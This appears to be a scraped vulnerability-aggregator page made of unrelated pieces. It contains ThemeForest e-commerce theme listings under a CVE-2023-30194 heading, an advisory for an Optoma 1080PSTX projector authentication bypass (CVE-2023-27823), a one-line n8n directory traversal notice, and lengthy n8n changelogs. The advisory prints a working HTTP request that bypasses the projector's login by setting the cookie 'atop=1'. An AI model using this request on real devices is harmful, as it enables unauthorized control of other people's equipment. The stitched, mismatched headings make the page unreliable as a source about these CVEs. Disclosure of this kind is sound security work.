    High Resolution: Yes, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Compatible With: Bootstrap 4.x, Software Version: PrestaShop 8.0, PrestaShop 1.7.8.x, PrestaShop 1.7.7.x, PrestaShop 1.7.6.x, PrestaShop 1.7.5.x, PrestaShop 1.7.4.x, PrestaShop 1.7.3.x, PrestaShop 1.7.2.x, PrestaShop 1.7.1.x, Columns: 4+
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **OpenCart** / **Health & Beauty**  
    High Resolution: No, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Compatible With: Bootstrap 4.x, Software Version: OpenCart 3.0.3.x, OpenCart 3.0.2.x, OpenCart 3.0.1.x, OpenCart 3.0.0.x, Columns: 4+
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **OpenCart** / **Technology**  
    High Resolution: Yes, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Compatible With: Bootstrap 4.x, Software Version: OpenCart 3.0.3.x, OpenCart 3.0.2.x, OpenCart 3.0.1.x, OpenCart 3.0.0.x, Columns: 4+
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **PrestaShop** / **Shopping**  
    High Resolution: Yes, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Compatible With: Bootstrap 4.x, Software Version: PrestaShop 1.7.8.x, PrestaShop 1.7.7.x, PrestaShop 1.7.6.x, PrestaShop 1.7.5.x, PrestaShop 1.7.4.x, PrestaShop 1.7.3.x, PrestaShop 1.7.2.x, PrestaShop 1.7.1.x, Columns: 4+
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **PrestaShop** / **Technology**  
    High Resolution: Yes, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Compatible With: Bootstrap 4.x, Software Version: PrestaShop 8.0, Columns: 4+
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **OpenCart** / **Fashion**  
    High Resolution: No, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Compatible With: Bootstrap 4.x, Software Version: OpenCart 3.0.3.x, OpenCart 3.0.2.x, OpenCart 3.0.1.x, OpenCart 3.0.0.x, Columns: 4+
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **OpenCart** / **Miscellaneous**  
    High Resolution: Yes, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Software Version: OpenCart 3.0.3.x, OpenCart 3.0.2.x, OpenCart 3.0.1.x, OpenCart 3.0.0.x, Columns: 4+
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **OpenCart** / **Miscellaneous**  
    High Resolution: Yes, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Software Version: OpenCart 3.0.3.x, OpenCart 3.0.2.x, OpenCart 3.0.1.x, OpenCart 3.0.0.x, Columns: 4+
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **PrestaShop** / **Miscellaneous**  
    High Resolution: Yes, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Compatible With: Bootstrap 4.x, Software Version: PrestaShop 1.7.8.x, PrestaShop 1.7.7.x, PrestaShop 1.7.6.x, PrestaShop 1.7.5.x, PrestaShop 1.7.4.x, PrestaShop 1.7.3.x, PrestaShop 1.7.2.x, PrestaShop 1.7.1.x, Columns: 4+
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **PrestaShop** / **Miscellaneous**  
    High Resolution: Yes, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Compatible With: Bootstrap 4.x, Software Version: PrestaShop 1.7.8.x, PrestaShop 1.7.7.x, PrestaShop 1.7.6.x, PrestaShop 1.7.5.x, PrestaShop 1.7.4.x, PrestaShop 1.7.3.x, PrestaShop 1.7.2.x, PrestaShop 1.7.1.x, PrestaShop 1.7.0.x, Columns: 4+
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **PrestaShop** / **Shopping**  
    High Resolution: Yes, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Compatible With: Bootstrap 4.x, Software Version: PrestaShop 1.7.8.x, PrestaShop 1.7.7.x, PrestaShop 1.7.6.x, PrestaShop 1.7.5.x, PrestaShop 1.7.4.x, PrestaShop 1.7.3.x, PrestaShop 1.7.2.x, PrestaShop 1.7.1.x, Columns: 4+
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **PrestaShop** / **Technology**  
    High Resolution: Yes, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Compatible With: Bootstrap 4.x, Software Version: PrestaShop 1.7.8.x, PrestaShop 1.7.7.x, PrestaShop 1.7.6.x, PrestaShop 1.7.5.x, PrestaShop 1.7.4.x, PrestaShop 1.7.3.x, PrestaShop 1.7.2.x, PrestaShop 1.7.1.x, PrestaShop 1.7.0.x, Columns: 4+
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **OpenCart** / **Fashion**  
    High Resolution: Yes, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Software Version: OpenCart 3.0.3.x, OpenCart 3.0.2.x, OpenCart 3.0.1.x, OpenCart 3.0.0.x, Columns: 4+
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **OpenCart** / **Miscellaneous**  
    High Resolution: Yes, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Software Version: OpenCart 3.0.3.x, OpenCart 3.0.2.x, OpenCart 3.0.1.x, OpenCart 3.0.0.x, Columns: 4+
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **OpenCart** / **Health & Beauty**  
    High Resolution: Yes, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Compatible With: Bootstrap 4.x, Software Version: OpenCart 3.0.3.x, OpenCart 3.0.2.x, OpenCart 3.0.1.x, OpenCart 3.0.0.x, Columns: 1
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **PrestaShop** / **Miscellaneous**  
    High Resolution: Yes, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Software Version: PrestaShop 1.7.8.x, PrestaShop 1.7.7.x, PrestaShop 1.7.6.x, PrestaShop 1.7.5.x, PrestaShop 1.7.4.x, PrestaShop 1.7.3.x, PrestaShop 1.7.2.x, PrestaShop 1.7.1.x, PrestaShop 1.7.0.x, Columns: 1
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **OpenCart** / **Miscellaneous**  
    High Resolution: Yes, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Compatible With: Bootstrap 4.x, Software Version: OpenCart 3.0.3.x, OpenCart 3.0.2.x, OpenCart 3.0.1.x, OpenCart 3.0.0.x, Columns: 1
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **PrestaShop** / **Shopping**  
    High Resolution: Yes, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Software Version: PrestaShop 1.7.8.x, PrestaShop 1.7.7.x, PrestaShop 1.7.6.x, PrestaShop 1.7.5.x, PrestaShop 1.7.4.x, PrestaShop 1.7.3.x, PrestaShop 1.7.2.x, PrestaShop 1.7.1.x, PrestaShop 1.7.0.x, Columns: 1
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **PrestaShop** / **Fashion**  
    High Resolution: Yes, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Compatible With: Bootstrap 4.x, Software Version: PrestaShop 1.7.8.x, PrestaShop 1.7.7.x, PrestaShop 1.7.6.x, PrestaShop 1.7.5.x, PrestaShop 1.7.4.x, PrestaShop 1.7.3.x, PrestaShop 1.7.2.x, PrestaShop 1.7.1.x, PrestaShop 1.7.0.x, PrestaShop 1.6.1.x, PrestaShop 1.6.1, Columns: 1

CVE-2023-30194: posthemes - Portfolio | ThemeForest

Optoma 1080PSTX with firmware C02 suffers from an authentication bypass vulnerability.

    # Exploit Title: Optoma 1080PSTX Firmware C02 - Auth Bypass# Date: 2023/05/09# Exploit Author: Anthony Cole# Contact: http://twitter.com/acole76# Website: http://twitter.com/acole76# Vendor Homepage: http://optoma.com# Version: Optoma 1080PSTX Firmware C02# Tested on: N/A# CVE : CVE-2023-27823DetailsBy default the web interface of the 1080PSTX requires a username and password to access the application control panel.  However, an attacker, on the same network, can bypass it by manually setting the "atop" cookie to the value of "1".GET /index.asp HTTP/1.1Host: projectorCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: atop=1Connection: close

Optoma 1080PSTX Firmware C02 Authentication Bypass

The n8n package 0.218.0 for Node.js allows Directory Traversal.

**n8n@0.226.2**

**Changes (2023-05-03)****Bug Fixes**

*   **core:** Fix bug running addUserActivatedColumn migration on MariaDB (#6157) (aa8e96d)

**n8n@0.227.0**

**Changes (2023-05-03)****Bug Fixes**

*   **AWS S3 Node:** Fix File upload, and add node tests (#6153) (deb4c04)
*   **Compression Node:** Fix issue with decompression failing with uppercase extensions (#6098) (aa59329)
*   **core:** Account for nodes with renamable content (#6109) (c99f158)
*   **core:** Assign Unknown Error only if message or description not present in error (8aedc03)
*   **core:** Avoid using Object.keys on Buffer and other non-plain objects (#6131) (a3aba83)
*   **core:** Better error message in Webhook node when using the POST method (a0dd17e)
*   **core:** Better errors for common status codes fix (700cc39)
*   **core:** Fix hasOwnProperty on augmented objects (#6124) (206b6b9)
*   **core:** Fix bug running addUserActivatedColumn migration on MariaDB (#6157) (570790e)
*   **core:** Fix canceled execution status (#6142) (839a56a)
*   **core:** Improve saml endpoints and audit events (#6107) (c0b1cdd)
*   **core:** Remove SAML config metadataUrl if XML metadata is set directly (#6143) (25fe14b)
*   **core:** Skip auth for controllers/routes that don't use the Authorized decorator, or use Authorized('none') (#6106) (59aee22)
*   Correctly allow sharees to test credential when opening the modal (#6111) (2e73f4a)
*   **Date & Time Node:** Numbers conversions fix (14f7114)
*   **editor:** Change execution list tab loader design (#6120) (188ef04)
*   **editor:** Disable changing of email and pw when SAML login enabled (#6104) (3e9ecd9)
*   **editor:** Fix Show details summary (#6113) (90a62cc)
*   **editor:** Fix copy selection behavior (#6112) (1607aeb)
*   **editor:** Fix cropped off completions docstrings (#6129) (85e8145)
*   **editor:** Fix focus jumping when using chrome autofill (#6140) (c63181b)
*   **editor:** Fix missing Stop Listening button (#6125) (20a72bb)
*   **editor:** Fix quote handling on dollar-sign variable completions (#6128) (51f5990)
*   **editor:** Fix sidebar button styling (#6138) (a72a511)
*   **editor:** Fix unique names for node duplication (#6134) (71ae6c6)
*   **editor:** Fix unscrollable node settings (#6133) (c8ff368)
*   **editor:** Loading state for executions tab (#6100) (4cbb05b)
*   **editor:** Remove pagination from binary data output (#6093) (c6e665a)
*   **editor:** Restrict [empty] in parameter input hint to zero-length string (#6003) (8862e1e)
*   **editor:** Show error in RLC if credentials are not set (#6108) (2c240a0)
*   **HTTP Request Node:** Add description for 'Specify Body' option (#6114) (af097ae)
*   **HTTP Request Node:** Always lowercase headers (983e6e1)
*   **Mattermost Node:** Fix base url trailing slash error (#6097) (25a386d)
*   **Merge Node:** Do not error if expected key is missing (d219af7)
*   Prevent displaying an endless timer in the execution list for finished executions (#6137) (701105e)
*   Prevent invocations of 'GET /rest/license' from returning an error when ephemeral licenses are used (#6154) (a3d26ef)
*   **Slack Node:** Restore ability to send text in addition of blocks or attachments (8669f95)

**Features**

*   **core:** Add notice to alert users a new version is available (cb497fb)
*   **editor:** Add support for loadOptionsDependsOn to RLC (#6101) (b17d5f9)
*   **editor:** Add version controls settings (WIP) (#6036) (0c9ce3a)
*   **Item Lists Node:** Split out items work on objects as well as arrays (c65ac03)
*   **Microsoft Excel 365 Node:** Overhaul (5364a2d)

**n8n@0.226.1**

**Changes (2023-05-02)****Bug Fixes**

*   **Compression Node:** Fix issue with decompression failing with uppercase extensions (#6098) (7136500)
*   **core:** Account for nodes with renamable content (#6109) (b561d46)
*   **core:** Fix hasOwnProperty on augmented objects (#6124) (2f015c0)
*   **core:** Fix canceled execution status (#6142) (1796101)
*   **core:** Skip auth for controllers/routes that don't use the Authorized decorator, or use Authorized('none') (#6106) (9d44991)
*   Correctly allow sharees to test credential when opening the modal (#6111) (240bb47)
*   **Date & Time Node:** Numbers conversions fix (e11e7cd)
*   **editor:** Change execution list tab loader design (#6120) (ffc033f)
*   **editor:** Fix Show details summary (#6113) (e12bafb)
*   **editor:** Fix copy selection behavior (#6112) (0efd94a)
*   **editor:** Fix cropped off completions docstrings (#6129) (06594cc)
*   **editor:** Fix missing Stop Listening button (#6125) (dcbd2d2)
*   **editor:** Fix quote handling on dollar-sign variable completions (#6128) (c23ad35)
*   **editor:** Fix sidebar button styling (#6138) (d3f4bc1)
*   **editor:** Fix unique names for node duplication (#6134) (48a4068)
*   **editor:** Fix unscrollable node settings (#6133) (f762f16)
*   **editor:** Loading state for executions tab (#6100) (2e12c50)
*   **editor:** Remove pagination from binary data output (#6093) (7b7d9de)
*   **editor:** Show error in RLC if credentials are not set (#6108) (5bf3400)
*   **HTTP Request Node:** Add description for 'Specify Body' option (#6114) (69b6ba8)
*   **HTTP Request Node:** Always lowercase headers (31c56a1)
*   **Mattermost Node:** Fix base url trailing slash error (#6097) (788fda1)
*   **Merge Node:** Do not error if expected key is missing (8b59564)
*   Prevent displaying an endless timer in the execution list for finished executions (#6137) (2672896)
*   **Slack Node:** Restore ability to send text in addition of blocks or attachments (625d672)

**n8n@0.226.0**

**Changes (2023-04-26)****Bug Fixes**

*   **Code Node:** Update vm2 to address CVE-2023-30547 (#6039) (8268f23)
*   **core:** Improve domain and url matching for extractDomain and extractUrl (#6010) (33fb732)
*   **core:** Serialize dates and regexps when reading from augmented objects (#6086) (a4eb46a)
*   **core:** Skip license activation when instance was already activated (#6064) (eaf7090)
*   **editor:** Clean up demo and template callouts from workflows page (#6023) (4ee5083)
*   **editor:** Fix memory leak in Node Detail View by correctly unsubscribing from event buses (#6021) (0970ec0)
*   **editor:** Fix typo in SSO upgrade link (#6031) (9b59f1d)
*   **editor:** Resolve expressions for grandparent nodes (#5859) (a19d444)
*   **editor:** SettingsSidebar should disconnect from push when navigating away (#6025) (41660d9)
*   **editor:** Update LDAP and Log streaming paywalls (#6069) (8a3b3e5)
*   **editor:** Update SSO upgrade link (#6016) (953198e)
*   **Notion Node:** Update credential test to not require user permissions (#6022) (a68330f)

**Features**

*   **core:** Add license:info command (#6047) (ab12d3e)
*   **core:** Add SSH key generation (#6006) (71ed1f4)
*   **core:** Add support for digestAuth to httpRequest and declarative style (#5676) (62f993c)
*   **core:** Manage version control settings (#6079) (f3b4701)
*   **core:** Upgrade google-timezones-json to use the correct timezone for Sao Paulo (#6042) (b8cb5d7), closes #2647
*   **editor:** Add disable template experiment (#5963) (a74284b)
*   **editor:** Add SQL editor support (#5517) (70aaf24)
*   **editor:** Enhance Node Creator actions view (#5954) (390841b)
*   **editor:** Version control (WIP) (#6013) (0e0a064)
*   **editor:** Version control paywall (WIP) (#6030) (ef79b03)
*   **Google BigQuery Node:** Node improvements (#4877) (9817a15)

**n8n@0.225.2**

**n8n@0.224.4**

**n8n@0.225.1**

**Changes (2023-04-20)****Bug Fixes**

*   **editor:** Clean up demo and template callouts from workflows page (#6023) (6ec1c45)
*   **editor:** Fix memory leak in Node Detail View by correctly unsubscribing from event buses (#6021) (1b9e047)
*   **editor:** SettingsSidebar should disconnect from push when navigating away (#6025) (e9f8cfe)
*   **Notion Node:** Update credential test to not require user permissions (#6022) (6d02ae5)

**n8n@0.224.2**

**Changes (2023-04-20)****Bug Fixes**

*   **core:** Fix paired item returning wrong data (#5898) (2a45441)
*   **core:** Make getExecutionId available on all nodes types (#5990) (8373aab)
*   **editor:** Fix memory leak in Node Detail View by correctly unsubscribing from event buses (#6021) (d8fce5b)
*   **editor:** Fix moving canvas on middle click preventing lasso selection (#5996) (a7a5778)
*   **editor:** SettingsSidebar should disconnect from push when navigating away (#6025) (b475c8f)
*   **Google Sheets Trigger Node:** Return actual error message (5e59141)
*   **HTTP Request Node:** Fix itemIndex in HTTP Request errors (#5991) (4a521a4)
*   **Notion Node:** Update credential test to not require user permissions (#6022) (14c9b5e)

**n8n@0.225.0**

**Changes (2023-04-19)****Bug Fixes**

*   **core:** Fix broken API permissions in public API (#5978) (49d838f)
*   **core:** Fix paired item returning wrong data (#5898) (b13b7d7)
*   **core:** Improve SAML connection test result views (#5981) (4c994fa)
*   **core:** Make getExecutionId available on all nodes types (#5990) (c42820e)
*   **core:** Skip SAML onboarding for users with first- and lastname (#5966) (8474cd3)
*   **editor:** Add padding to prepend input (#5874) (cd89489)
*   **editor:** Cleanup demo/video experiment (#5974) (c171365)
*   **editor:** Enterprise features missing with UM (#5995) (f9a810a)
*   **editor:** Fix moving canvas on middle click preventing lasso selection (#5996) (3c2a569)
*   **editor:** Make sure to redirect to blank canvas after personalization modal (#5980) (7c474d3)
*   **editor:** Only treat as CTRL pressed by default on touch devices for MouseEvent (#5968) (536d810)
*   **editor:** Fix n8n-checkbox alignment (#6004) (f544826)
*   **Code Node:** Consistently handle various kinds of data returned by user code (#6002) (f9b3aea)
*   **Github Trigger Node:** Remove content\_reference event (#5830) (d288a91)
*   **Google Sheets Trigger Node:** Return actual error message (ba5b4eb)
*   **HTTP Request Node:** Fix itemIndex in HTTP Request errors (#5991) (b351c62)
*   **NocoDB Node:** Fix for updating or deleting rows with not default primary keys (ee7f863)
*   **OpenAI Node:** Update models to only show those supported (#5805) (29959be)
*   **OpenAI Node:** Update OpenAI Text Moderate input placeholder text (#5823) (6b9909b)

**Features**

*   **core:** Add variables feature (#5602) (1bb9871)
*   **core:** Add versionControl feature flag (#6000) (33299ca)
*   **core:** Support for google service account in HTTP node (0b48088)
*   **editor:** Add Ask AI preview (#5916) (f8f8374)
*   **GitLab Node:** Add Additional parameters for File List (#5621) (3810039)
*   **MySQL Node:** Overhaul (0a53c95)

**n8n@0.222.3**

**Changes (2023-04-14)****Bug Fixes**

*   **core:** Fix broken API permissions in public API (#5978) (f4be887)
*   **editor:** Only treat as CTRL pressed by default on touch devices for MouseEvent (#5968) (57af90f)
*   **editor:** Update vite legacy-plugin browser target (no-changelog) (#5952) (f565b16)

Tag

#chrome